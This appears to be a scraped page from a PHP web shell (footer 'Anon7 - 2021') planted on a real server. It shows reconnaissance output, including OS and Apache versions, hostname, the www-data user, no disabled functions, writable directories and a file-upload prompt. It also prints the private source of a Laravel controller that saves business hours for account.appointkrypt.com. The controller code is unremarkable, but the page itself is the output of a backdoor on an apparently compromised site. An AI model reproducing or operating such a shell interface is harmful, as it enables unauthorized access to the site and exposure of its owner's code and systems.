KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/account.appointkrypt.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/account.appointkrypt.com/app/Http/Controllers/BusinessHoursController.php
<?php

namespace App\Http\Controllers;

use App\Models\BusinessHours;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;

class BusinessHoursController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        //
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        $post = $request->all();
        $business_id =$post['business_id'];
        unset($post['_token'],$post['business_id']);

        foreach ($post as $key => $daydata) {
            $dayname = $key;
            $start = $daydata['start'] ?? "9:30";
            $end = $daydata['end'] ?? "18:00";
            $day_off = $daydata['day_off'] ?? 'off';
            $repeater = json_encode(isset($daydata['repeater']) ? $daydata['repeater'] :'') ;
            
            BusinessHours::updateOrCreate(['day_name' => $dayname,'business_id' => $business_id ,'created_by'=>creatorId()],['start_time'=>$start,'end_time'=>$end, 'break_hours'=>$repeater ,'day_off' =>$day_off]);

        }
        return redirect()->back()->with('success', __('Business hours successfully created.'));
    }

    /**
     * Display the specified resource.
     */
    public function show(BusinessHours $businessHours)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(BusinessHours $businessHours)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, BusinessHours $businessHours)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(BusinessHours $businessHours)
    {
        //
    }
}

Anon7 - 2021